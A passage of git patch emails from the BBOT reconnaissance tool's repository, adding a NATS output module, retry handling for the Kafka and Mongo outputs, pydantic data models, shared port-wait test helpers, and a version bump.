handle_event(self, event): event_json = event.json() event_data = json.dumps(event_json).encode("utf-8") - await self.producer.send_and_wait(self.topic, event_data) + while 1: + try: + await self.producer.send_and_wait(self.topic, event_data) + except Exception as e: + self.warning(f"Error sending event to Kafka: {e}, retrying...") + await self.helpers.sleep(1) async def cleanup(self): # Stop the producer From 6254dae5f6d50f830b2435d6a9f8547e281ffa1b Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:54:39 -0500 Subject: [PATCH 041/912] better error handling in module --- bbot/modules/output/kafka.py | 1 + 1 file changed, 1 insertion(+) diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 0c28075450..0a31e0be12 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -37,6 +37,7 @@ async def handle_event(self, event): while 1: try: await self.producer.send_and_wait(self.topic, event_data) + break except Exception as e: self.warning(f"Error sending event to Kafka: {e}, retrying...") await self.helpers.sleep(1) From 7476929a5c01afee4594317a7753e3bd643f25b8 Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 19:58:06 -0500 Subject: [PATCH 042/912] better mongo error handling --- bbot/modules/output/mongo.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 6ad16620f6..118ca82378 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -59,7 +59,13 @@ async def setup(self): async def handle_event(self, event): event_json = event.json() event_pydantic = Event(**event_json) - await self.events_collection.insert_one(event_pydantic.model_dump()) + while 1: + try: + await self.events_collection.insert_one(event_pydantic.model_dump()) + break + except Exception as e: + self.warning(f"Error inserting event into MongoDB: {e}, retrying...") + await self.helpers.sleep(1) if event.type == "SCAN": scan_json = Scan(**event.data_json).model_dump() From eb668a64d211150f205ce3e6bcf8956206dde2fb Mon Sep 17 00:00:00 2001 From: github-actions Date: Fri, 22 Nov 2024 22:26:49 -0500 Subject: [PATCH 043/912] add NATS module --- bbot/modules/output/nats.py | 53 +++++++++++++++ bbot/test/test_step_2/module_tests/base.py | 14 ++++ .../module_tests/test_module_elastic.py | 13 +--- .../module_tests/test_module_kafka.py | 38 +++-------- .../module_tests/test_module_mongo.py | 23 +------ .../module_tests/test_module_mysql.py | 15 +---- .../module_tests/test_module_nats.py | 64 +++++++++++++++++++ .../module_tests/test_module_postgres.py | 22 +------ 8 files changed, 146 insertions(+), 96 deletions(-) create mode 100644 bbot/modules/output/nats.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_nats.py diff --git a/bbot/modules/output/nats.py b/bbot/modules/output/nats.py new file mode 100644 index 0000000000..569645cc3b --- /dev/null +++ b/bbot/modules/output/nats.py @@ -0,0 +1,53 @@ +import json +import nats +from bbot.modules.output.base import BaseOutputModule + + +class NATS(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a NATS subject", + "created_date": "2024-11-22", + "author": "@TheTechromancer", + } + options = { + "servers": [], + "subject": "bbot_events", + } + options_desc = { + "servers": "A list of NATS server addresses", + "subject": "The NATS subject to publish events to", + } + deps_pip = ["nats-py"] + + async def setup(self): + self.servers = list(self.config.get("servers", [])) + if not self.servers: + return False, "NATS servers are required" + self.subject = self.config.get("subject", "bbot_events") + + # Connect to the NATS server + try: + self.nc = await nats.connect(self.servers) + except Exception as e: + import traceback + + return False, f"Error connecting to NATS: {e}\n{traceback.format_exc()}" + self.verbose("NATS client connected successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + while 1: + try: + await self.nc.publish(self.subject, event_data) + break + except Exception as e: + self.warning(f"Error sending event to NATS: {e}, retrying...") + await self.helpers.sleep(1) + + async def cleanup(self): + # Close the NATS connection + await self.nc.close() + self.verbose("NATS client disconnected successfully") diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 3f6b5dd768..697dc2a235 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -153,3 +153,17 @@ async def setup_before_prep(self, module_test): async def setup_after_prep(self, module_test): pass + + async def wait_for_port_open(self, port): + while not await self.is_port_open("localhost", port): + self.log.verbose(f"Waiting for port {port} to be open...") + await asyncio.sleep(0.5) + + async def is_port_open(self, host, port): + try: + reader, writer = await asyncio.open_connection(host, port) + writer.close() + await writer.wait_closed() + return True + except (ConnectionRefusedError, OSError): + return False diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index db9f2359f7..902ef3539e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -1,4 +1,3 @@ -import time import httpx import asyncio @@ -39,18 +38,10 @@ async def setup_before_prep(self, module_test): "docker.elastic.co/elasticsearch/elasticsearch:8.16.0", ) + await self.wait_for_port_open(9200) + # Connect to Elasticsearch with retry logic async with httpx.AsyncClient(verify=False) as client: - while True: - try: - # Attempt a simple operation to confirm the connection - response = await client.get("https://localhost:9200/_cat/health", auth=("elastic", "bbotislife")) - response.raise_for_status() - break - except Exception as e: - self.log.verbose(f"Connection failed: {e}. Retrying...") - time.sleep(0.5) - # Ensure the index is empty await client.delete(f"https://localhost:9200/bbot_test_events", auth=("elastic", "bbotislife")) diff --git a/bbot/test/test_step_2/module_tests/test_module_kafka.py b/bbot/test/test_step_2/module_tests/test_module_kafka.py index 6a81173561..ee4c3a65f4 100644 --- a/bbot/test/test_step_2/module_tests/test_module_kafka.py +++ b/bbot/test/test_step_2/module_tests/test_module_kafka.py @@ -1,6 +1,5 @@ import json import asyncio -from contextlib import suppress from .base import ModuleTestBase @@ -23,18 +22,7 @@ async def setup_before_prep(self, module_test): ) # Wait for Zookeeper to be ready - while True: - try: - # Attempt to connect to Zookeeper with a timeout - reader, writer = await asyncio.wait_for(asyncio.open_connection("localhost", 2181), timeout=0.5) - break # Exit the loop if the connection is successful - except Exception as e: - self.log.verbose(f"Waiting for Zookeeper to be ready: {e}") - await asyncio.sleep(0.5) # Wait a bit before retrying - finally: - with suppress(Exception): - writer.close() - await writer.wait_closed() + await self.wait_for_port_open(2181) # Start Kafka using wurstmeister/kafka await asyncio.create_subprocess_exec( @@ -59,23 +47,17 @@ async def setup_before_prep(self, module_test): "wurstmeister/kafka", ) + # Wait for Kafka to be ready + await self.wait_for_port_open(9092) + from aiokafka import AIOKafkaConsumer - # Wait for Kafka to be ready - while True: - try: - self.consumer = AIOKafkaConsumer( - "bbot_events", - bootstrap_servers="localhost:9092", - group_id="test_group", - ) - await self.consumer.start() - break # Exit the loop if the consumer starts successfully - except Exception as e: - self.log.verbose(f"Waiting for Kafka to be ready: {e}") - if hasattr(self, "consumer") and not self.consumer._closed: - await self.consumer.stop() - await asyncio.sleep(0.5) # Wait a bit before retrying + self.consumer = AIOKafkaConsumer( + "bbot_events", + bootstrap_servers="localhost:9092", + group_id="test_group", + ) + await self.consumer.start() async def check(self, module_test, events): try: diff --git a/bbot/test/test_step_2/module_tests/test_module_mongo.py b/bbot/test/test_step_2/module_tests/test_module_mongo.py index ac28e64e7b..aa483eac21 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mongo.py +++ b/bbot/test/test_step_2/module_tests/test_module_mongo.py @@ -1,4 +1,3 @@ -import time import asyncio from .base import ModuleTestBase @@ -37,27 +36,7 @@ async def setup_before_prep(self, module_test): "mongo", ) - from motor.motor_asyncio import AsyncIOMotorClient - - # Connect to the MongoDB collection with retry logic - while True: - try: - client = AsyncIOMotorClient("mongodb://localhost:27017", username="bbot", password="bbotislife") - db = client[self.test_db_name] - events_collection = db.get_collection(self.test_collection_prefix + "events") - # Attempt a simple operation to confirm the connection - await events_collection.count_documents({}) - break # Exit the loop if connection is successful - except Exception as e: - print(f"Connection failed: {e}. Retrying...") - time.sleep(0.5) - - # Check that there are no events in the collection - count = await events_collection.count_documents({}) - assert count == 0, "There are existing events in the database" - - # Close the MongoDB connection - client.close() + await self.wait_for_port_open(27017) async def check(self, module_test, events): try: diff --git a/bbot/test/test_step_2/module_tests/test_module_mysql.py b/bbot/test/test_step_2/module_tests/test_module_mysql.py index 4867c568d5..709b3ca287 100644 --- a/bbot/test/test_step_2/module_tests/test_module_mysql.py +++ b/bbot/test/test_step_2/module_tests/test_module_mysql.py @@ -1,5 +1,4 @@ import asyncio -import time from .base import ModuleTestBase @@ -28,20 +27,8 @@ async def setup_before_prep(self, module_test): ) stdout, stderr = await process.communicate() - import aiomysql - # wait for the container to start - start_time = time.time() - while True: - try: - conn = await aiomysql.connect(user="root", password="bbotislife", db="bbot", host="localhost") - conn.close() - break - except Exception as e: - if time.time() - start_time > 60: # timeout after 60 seconds - self.log.error("MySQL server did not start in time.") - raise e - await asyncio.sleep(1) + await self.wait_for_port(3306) if process.returncode != 0: self.log.error(f"Failed to start MySQL server: {stderr.decode()}") diff --git a/bbot/test/test_step_2/module_tests/test_module_nats.py b/bbot/test/test_step_2/module_tests/test_module_nats.py new file mode 100644 index 0000000000..d4e46d8061 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_nats.py @@ -0,0 +1,64 @@ +import json +import asyncio +import nats +from contextlib import suppress + +from .base import ModuleTestBase + + +class TestNats(ModuleTestBase): + config_overrides = { + "modules": { + "nats": { + "servers": ["nats://localhost:4222"], + "subject": "bbot_events", + } + } + } + skip_distro_tests = True + + async def setup_before_prep(self, module_test): + # Start NATS server + await asyncio.create_subprocess_exec( + "docker", "run", "-d", "--rm", "--name", "bbot-test-nats", "-p", "4222:4222", "nats:latest" + ) + + # Wait for NATS to be ready by checking the port + await self.wait_for_port_open(4222) + + # Connect to NATS + try: + self.nc = await nats.connect(["nats://localhost:4222"]) + except Exception as e: + self.log.error(f"Error connecting to NATS: {e}") + raise + + # Collect events from NATS + self.nats_events = [] + + async def message_handler(msg): + event_data = json.loads(msg.data.decode("utf-8")) + self.nats_events.append(event_data) + + await self.nc.subscribe("bbot_events", cb=message_handler) + + async def check(self, module_test, events): + try: + events_json = [e.json() for e in events] + events_json.sort(key=lambda x: x["timestamp"]) + + self.nats_events.sort(key=lambda x: x["timestamp"]) + + # Verify the events match + assert events_json == self.nats_events, "Events do not match" + + finally: + with suppress(Exception): + # Clean up: Stop the NATS client + if self.nc.is_connected: + await self.nc.drain() + await self.nc.close() + # Stop NATS server container + await asyncio.create_subprocess_exec( + "docker", "stop", "bbot-test-nats", stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_postgres.py b/bbot/test/test_step_2/module_tests/test_module_postgres.py index ea6c00210c..c1d7b102cb 100644 --- a/bbot/test/test_step_2/module_tests/test_module_postgres.py +++ b/bbot/test/test_step_2/module_tests/test_module_postgres.py @@ -1,4 +1,3 @@ -import time import asyncio from .base import ModuleTestBase @@ -25,27 +24,8 @@ async def setup_before_prep(self, module_test): "postgres", ) - import asyncpg - # wait for the container to start - start_time = time.time() - while True: - try: - # Connect to the default 'postgres' database to create 'bbot' - conn = await asyncpg.connect( - user="postgres", password="bbotislife", database="postgres", host="127.0.0.1" - ) - await conn.execute("CREATE DATABASE bbot") - await conn.close() - break - except asyncpg.exceptions.DuplicateDatabaseError: - # If the database already exists, break the loop - break - except Exception as e: - if time.time() - start_time > 60: # timeout after 60 seconds - self.log.error("PostgreSQL server did not start in time.") - raise e - await asyncio.sleep(1) + await self.wait_for_port(5432) if process.returncode != 0: self.log.error("Failed to start PostgreSQL server") From 712845ec60dfdfe8ca2ce3c9edd2d117d8f47b21 Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 23 Nov 2024 00:12:48 -0500 Subject: [PATCH 044/912] fix tests? --- bbot/test/test_step_2/module_tests/test_module_nats.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_nats.py b/bbot/test/test_step_2/module_tests/test_module_nats.py index d4e46d8061..66f4d38937 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nats.py +++ b/bbot/test/test_step_2/module_tests/test_module_nats.py @@ -1,6 +1,5 @@ import json import asyncio -import nats from contextlib import suppress from .base import ModuleTestBase @@ -27,6 +26,8 @@ async def setup_before_prep(self, module_test): await self.wait_for_port_open(4222) # Connect to NATS + import nats + try: self.nc = await nats.connect(["nats://localhost:4222"]) except Exception as e: From e7e89e5eac1dac9ddefaddb2b20a8173606c0d97 Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 23 Nov 2024 02:41:12 -0500 Subject: [PATCH 045/912] fix cli tests --- bbot/test/test_step_1/test_python_api.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index eaa9636b1c..e968b1f2e4 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -95,7 +95,7 @@ def test_python_api_validation(): # invalid output module with pytest.raises(ValidationError) as error: Scanner(output_modules=["asdf"]) - assert str(error.value) == 'Could not find output module "asdf". Did you mean "teams"?' + assert str(error.value) == 'Could not find output module "asdf". Did you mean "nats"?' # invalid excluded module with pytest.raises(ValidationError) as error: Scanner(exclude_modules=["asdf"]) From 91893dbfae904bef53ce7797afd3f25bf92500db Mon Sep 17 00:00:00 2001 From: github-actions Date: Sat, 23 Nov 2024 12:19:47 -0500 Subject: [PATCH 046/912] fix tests? --- bbot/test/test_step_1/test_python_api.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index e968b1f2e4..1a549d549e 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -119,7 +119,7 @@ def test_python_api_validation(): # normal module as output module with pytest.raises(ValidationError) as error: Scanner(output_modules=["robots"]) - assert str(error.value) == 'Could not find output module "robots". Did you mean "web_report"?' + assert str(error.value) == 'Could not find output module "robots". Did you mean "nats"?' # invalid preset type with pytest.raises(ValidationError) as error: Scanner(preset="asdf") From a5b2a5d7e6a1604995d1f456d2d98c08eb8761c8 Mon Sep 17 00:00:00 2001 From: github-actions Date: Mon, 25 Nov 2024 10:26:49 -0500 Subject: [PATCH 047/912] fix elastic tests --- .../test_step_2/module_tests/test_module_elastic.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_elastic.py b/bbot/test/test_step_2/module_tests/test_module_elastic.py index 902ef3539e..98abb4087d 100644 --- a/bbot/test/test_step_2/module_tests/test_module_elastic.py +++ b/bbot/test/test_step_2/module_tests/test_module_elastic.py @@ -38,7 +38,18 @@ async def setup_before_prep(self, module_test): "docker.elastic.co/elasticsearch/elasticsearch:8.16.0", ) - await self.wait_for_port_open(9200) + # Connect to Elasticsearch with retry logic + async with httpx.AsyncClient(verify=False) as client: + while True: + try: + # Attempt a simple operation to confirm the connection + response = await client.get("https://localhost:9200/_cat/health", auth=("elastic", "bbotislife")) + response.raise_for_status() + break + except Exception as e: + print(f"Connection failed: {e}. Retrying...", flush=True) + await asyncio.sleep(0.5) + # Connect to Elasticsearch with retry logic async with httpx.AsyncClient(verify=False) as client: From e2f4944b0c77f9aae4242ced03b6434b19b0300c Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 20:42:49 -0500 Subject: [PATCH 048/912] bump version --- pyproject.toml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index a407bcd7af..bfcbdd2594 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "bbot" -version = "2.3.0" +version = "3.0.0" description = "OSINT automation for hackers." authors = [ "TheTechromancer", @@ -107,7 +107,7 @@ lint.ignore = ["E402", "E711", "E712", "E713", "E721", "E731", "E741", "F401", " [tool.poetry-dynamic-versioning] enable = true metadata = false -format-jinja = 'v2.3.0{% if branch == "dev" %}.{{ distance }}rc{% endif %}' +format-jinja = 'v3.0.0{% if branch == "dev" %}.{{ distance }}rc{% endif %}' [tool.poetry-dynamic-versioning.substitution] files = ["*/__init__.py"] From 21c2548ab5ee1835d3eda815a63571a4689dba69 Mon Sep 17 00:00:00 2001 From: github-actions Date: Tue, 19 Nov 2024 23:22:52 -0500 Subject: [PATCH 049/912] fix conflict --- bbot/core/event/base.py | 6 +-- bbot/scanner/scanner.py | 3 +- bbot/test/bbot_fixtures.py | 76 ++++++++++++++++++++++++++------------ 3 files changed, 58 insertions(+), 27 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 32d6f7a3a1..1f8919ff82 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -40,6 +40,7 @@ validators, get_file_extension, ) +from bbot.db.helpers import naive_datetime_validator log = logging.getLogger("bbot.core.event") @@ -802,7 +803,7 @@ def json(self, mode="json", siem_friendly=False): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = self.timestamp.isoformat() + j["timestamp"] = naive_datetime_validator(self.timestamp).isoformat() # parent event parent_id = self.parent_id if parent_id: @@ -811,8 +812,7 @@ def json(self, mode="json", siem_friendly=False): if parent_uuid: j["parent_uuid"] = parent_uuid # tags - if self.tags: - j.update({"tags": list(self.tags)}) + j.update({"tags": list(self.tags)}) # parent module if self.module: j.update({"module": str(self.module)}) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index dcdb2a873f..7e058ae6fb 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -500,7 +500,8 @@ async def setup_modules(self, remove_failed=True): self.modules[module.name].set_error_state() hard_failed.append(module.name) else: - self.info(f"Setup soft-failed for {module.name}: {msg}") + log_fn = self.warning if module._type == "output" else self.info + log_fn(f"Setup soft-failed for {module.name}: {msg}") soft_failed.append(module.name) if (not status) and (module._intercept or remove_failed): # if a intercept module fails setup, we always remove it diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 070df6e9a3..be4e2b92bf 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -147,48 +147,78 @@ def helpers(scan): @pytest.fixture def events(scan): + + dummy_module = scan._make_dummy_module("dummy_module") + class bbot_events: - localhost = scan.make_event("127.0.0.1", parent=scan.root_event) - ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event) - netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event) - ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event) - netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event) - domain = scan.make_event("publicAPIs.org", parent=scan.root_event) - subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event) - email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event) - open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event) + localhost = scan.make_event("127.0.0.1", parent=scan.root_event, module=dummy_module) + ipv4 = scan.make_event("8.8.8.8", parent=scan.root_event, module=dummy_module) + netv4 = scan.make_event("8.8.8.8/30", parent=scan.root_event, module=dummy_module) + ipv6 = scan.make_event("2001:4860:4860::8888", parent=scan.root_event, module=dummy_module) + netv6 = scan.make_event("2001:4860:4860::8888/126", parent=scan.root_event, module=dummy_module) + domain = scan.make_event("publicAPIs.org", parent=scan.root_event, module=dummy_module) + subdomain = scan.make_event("api.publicAPIs.org", parent=scan.root_event, module=dummy_module) + email = scan.make_event("bob@evilcorp.co.uk", "EMAIL_ADDRESS", parent=scan.root_event, module=dummy_module) + open_port = scan.make_event("api.publicAPIs.org:443", parent=scan.root_event, module=dummy_module) protocol = scan.make_event( - {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, "PROTOCOL", parent=scan.root_event + {"host": "api.publicAPIs.org", "port": 443, "protocol": "HTTP"}, + "PROTOCOL", + parent=scan.root_event, + module=dummy_module, + ) + ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event, module=dummy_module) + ipv6_open_port = scan.make_event( + "[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event, module=dummy_module + ) + url_unverified = scan.make_event( + "https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event, module=dummy_module + ) + ipv4_url_unverified = scan.make_event( + "https://8.8.8.8:443/hellofriend", parent=scan.root_event, module=dummy_module + ) + ipv6_url_unverified = scan.make_event( + "https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event, module=dummy_module ) - ipv4_open_port = scan.make_event("8.8.8.8:443", parent=scan.root_event) - ipv6_open_port = scan.make_event("[2001:4860:4860::8888]:443", "OPEN_TCP_PORT", parent=scan.root_event) - url_unverified = scan.make_event("https://api.publicAPIs.org:443/hellofriend", parent=scan.root_event) - ipv4_url_unverified = scan.make_event("https://8.8.8.8:443/hellofriend", parent=scan.root_event) - ipv6_url_unverified = scan.make_event("https://[2001:4860:4860::8888]:443/hellofriend", parent=scan.root_event) url = scan.make_event( - "https://api.publicAPIs.org:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://api.publicAPIs.org:443/hellofriend", + "URL", + tags=["status-200"], + parent=scan.root_event, + module=dummy_module, ) ipv4_url = scan.make_event( - "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://8.8.8.8:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event, module=dummy_module ) ipv6_url = scan.make_event( - "https://[2001:4860:4860::8888]:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event + "https://[2001:4860:4860::8888]:443/hellofriend", + "URL", + tags=["status-200"], + parent=scan.root_event, + module=dummy_module, + ) + url_hint = scan.make_event( + "https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url, module=dummy_module ) - url_hint = scan.make_event("https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url) vulnerability = scan.make_event( {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"}, "VULNERABILITY", parent=scan.root_event, + module=dummy_module, + ) + finding = scan.make_event( + {"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event, module=dummy_module + ) + vhost = scan.make_event( + {"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event, module=dummy_module ) - finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) - vhost = scan.make_event({"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event) - http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) + http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event, module=dummy_module) storage_bucket = scan.make_event( {"name": "storage", "url": "https://storage.blob.core.windows.net"}, "STORAGE_BUCKET", parent=scan.root_event, + module=dummy_module, ) - emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event) + emoji = scan.make_event("💩", "WHERE_IS_YOUR_GOD_NOW", parent=scan.root_event, module=dummy_module) bbot_events.all = [ # noqa: F841 bbot_events.localhost, From 90d6ba2ea7d47bfd23cf897dee79efd966469094 Mon Sep 17 00:00:00 2001 From: github-actions Date: Thu, 21 Nov 2024 17:25:16 -0500 Subject: [PATCH 050/912] resolve conflict --- bbot/core/event/base.py | 2 +- bbot/models/helpers.py | 16 +++ bbot/models/pydantic.py | 111 ++++++++++++++++++ bbot/{db/sql/models.py => models/sql.py} | 0 bbot/modules/output/mongo.py | 68 +++++++++++ bbot/modules/templates/sql.py | 2 +- bbot/test/test_step_1/test_db_models.py | 29 +++++ .../module_tests/test_module_mongo.py | 81 +++++++++++++ 8 files changed, 307 insertions(+), 2 deletions(-) create mode 100644 bbot/models/helpers.py create mode 100644 bbot/models/pydantic.py rename bbot/{db/sql/models.py => models/sql.py} (100%) create mode 100644 bbot/modules/output/mongo.py create mode 100644 bbot/test/test_step_1/test_db_models.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_mongo.py diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 1f8919ff82..0d56e96e30 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -40,7 +40,7 @@ validators, get_file_extension, ) -from bbot.db.helpers import naive_datetime_validator +from bbot.models.helpers import naive_datetime_validator log = logging.getLogger("bbot.core.event") diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py new file mode 100644 index 0000000000..40e127c53b --- /dev/null +++ b/bbot/models/helpers.py @@ -0,0 +1,16 @@ +from datetime import datetime +from typing_extensions import Annotated +from pydantic.functional_validators import AfterValidator + + +def naive_datetime_validator(d: datetime): + """ + Converts all dates into UTC, then drops timezone information. + + This is needed to prevent inconsistencies in sqlite, because it is timezone-naive. + """ + # drop timezone info + return d.replace(tzinfo=None) + + +NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py new file mode 100644 index 0000000000..0d54cc91b7 --- /dev/null +++ b/bbot/models/pydantic.py @@ -0,0 +1,111 @@ +import json +import logging +from datetime import datetime +from typing import Optional, List, Union, Annotated +from pydantic import BaseModel, ConfigDict, field_serializer + +from bbot.models.helpers import NaiveUTC, naive_datetime_validator + +log = logging.getLogger("bbot_server.models") + + +class BBOTBaseModel(BaseModel): + model_config = ConfigDict(extra="ignore") + + def to_json(self, **kwargs): + return json.dumps(self.model_dump(), sort_keys=True, **kwargs) + + def __hash__(self): + return hash(self.to_json()) + + def __eq__(self, other): + return hash(self) == hash(other) + + +### EVENT ### + +class Event(BBOTBaseModel): + uuid: Annotated[str, "indexed", "unique"] + id: Annotated[str, "indexed"] + type: Annotated[str, "indexed"] + scope_description: str + data: Union[dict, str] + host: Annotated[Optional[str], "indexed"] = None + port: Optional[int] = None + netloc: Optional[str] = None + # we store the host in reverse to allow for instant subdomain queries + # this works because indexes are left-anchored, but we need to search starting from the right side + reverse_host: Annotated[Optional[str], "indexed"] = "" + resolved_hosts: Union[List, None] = None + dns_children: Union[dict, None] = None + web_spider_distance: int = 10 + scope_distance: int = 10 + scan: Annotated[str, "indexed"] + timestamp: Annotated[NaiveUTC, "indexed"] + parent: Annotated[str, "indexed"] + parent_uuid: Annotated[str, "indexed"] + tags: List = [] + module: Annotated[Optional[str], "indexed"] = None + module_sequence: Optional[str] = None + discovery_context: str = "" + discovery_path: List[str] = [] + parent_chain: List[str] = [] + + def __init__(self, **data): + super().__init__(**data) + if self.host: + self.reverse_host = self.host[::-1] + + @staticmethod + def _get_data(data, type): + if isinstance(data, dict) and list(data) == [type]: + return data[type] + return data + + @classmethod + def _indexed_fields(cls): + return sorted( + field_name for field_name, field in cls.model_fields.items() if "indexed" in field.metadata + ) + + @field_serializer("timestamp") + def serialize_timestamp(self, timestamp: datetime, _info): + return naive_datetime_validator(timestamp).isoformat() + + +### SCAN ### + +class Scan(BBOTBaseModel): + id: Annotated[str, "indexed", "unique"] + name: str + status: Annotated[str, "indexed"] + started_at: Annotated[NaiveUTC, "indexed"] + finished_at: Optional[Annotated[NaiveUTC, "indexed"]] = None + duration_seconds: Optional[float] = None + duration: Optional[str] = None + target: dict + preset: dict + + @classmethod + def from_scan(cls, scan): + return cls( + id=scan.id, + name=scan.name, + status=scan.status, + started_at=scan.started_at, + ) + + +### TARGET ### + +class Target(BBOTBaseModel): + name: str = "Default Target" + strict_scope: bool = False + seeds: List = [] + whitelist: List = [] + blacklist: List = [] + hash: Annotated[str, "indexed", "unique"] + scope_hash: Annotated[str, "indexed"] + seed_hash: Annotated[str, "indexed"] + whitelist_hash: Annotated[str, "indexed"] + blacklist_hash: Annotated[str, "indexed"] diff --git a/bbot/db/sql/models.py b/bbot/models/sql.py similarity index 100% rename from bbot/db/sql/models.py rename to bbot/models/sql.py diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py new file mode 100644 index 0000000000..dd4efa47ce --- /dev/null +++ b/bbot/modules/output/mongo.py @@ -0,0 +1,68 @@ +from motor.motor_asyncio import AsyncIOMotorClient + +from bbot.models.pydantic import Event +from bbot.modules.output.base import BaseOutputModule + + +class Mongo(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a MongoDB database", + "created_date": "2024-11-17", + "author": "@TheTechromancer", + } + options = { + "uri": "mongodb://localhost:27017", + "database": "bbot", + "collection_prefix": "", + } + options_desc = { + "uri": "The URI of the MongoDB server", + "database": "The name of the database to use", + "collection_prefix": "Prefix each collection with this string", + } + deps_pip = ["motor~=3.6.0"] + + async def setup(self): + self.uri = self.config.get("uri", "mongodb://localhost:27017") + self.db_client = AsyncIOMotorClient(self.uri) + + # Ping the server to confirm a successful connection + try: + await self.db_client.admin.command("ping") + self.verbose("MongoDB connection successful") + except Exception as e: + return False, f"Failed to connect to MongoDB: {e}" + + self.db_name = self.config.get("database", "bbot") + self.db = self.db_client[self.db_name] + self.collection_prefix = self.config.get("collection_prefix", "") + self.events_collection = self.db[f"{self.collection_prefix}events"] + self.scans_collection = self.db[f"{self.collection_prefix}scans"] + self.targets_collection = self.db[f"{self.collection_prefix}targets"] + + # Build an index for each field in reverse_host and host + for field in Event._indexed_fields(): + await self.collection.create_index([(field, 1)]) + self.verbose(f"Index created for field: {field}") + + return True + + async def handle_event(self, event): + event_json = event.json() + event_pydantic = Event(**event_json) + await self.events_collection.insert_one(event_pydantic.model_dump()) + if event.type == "SCAN": + # here we merge the scan with the one sharing its UUID. + existing_scan = await self.scans_collection.find_one({"uuid": 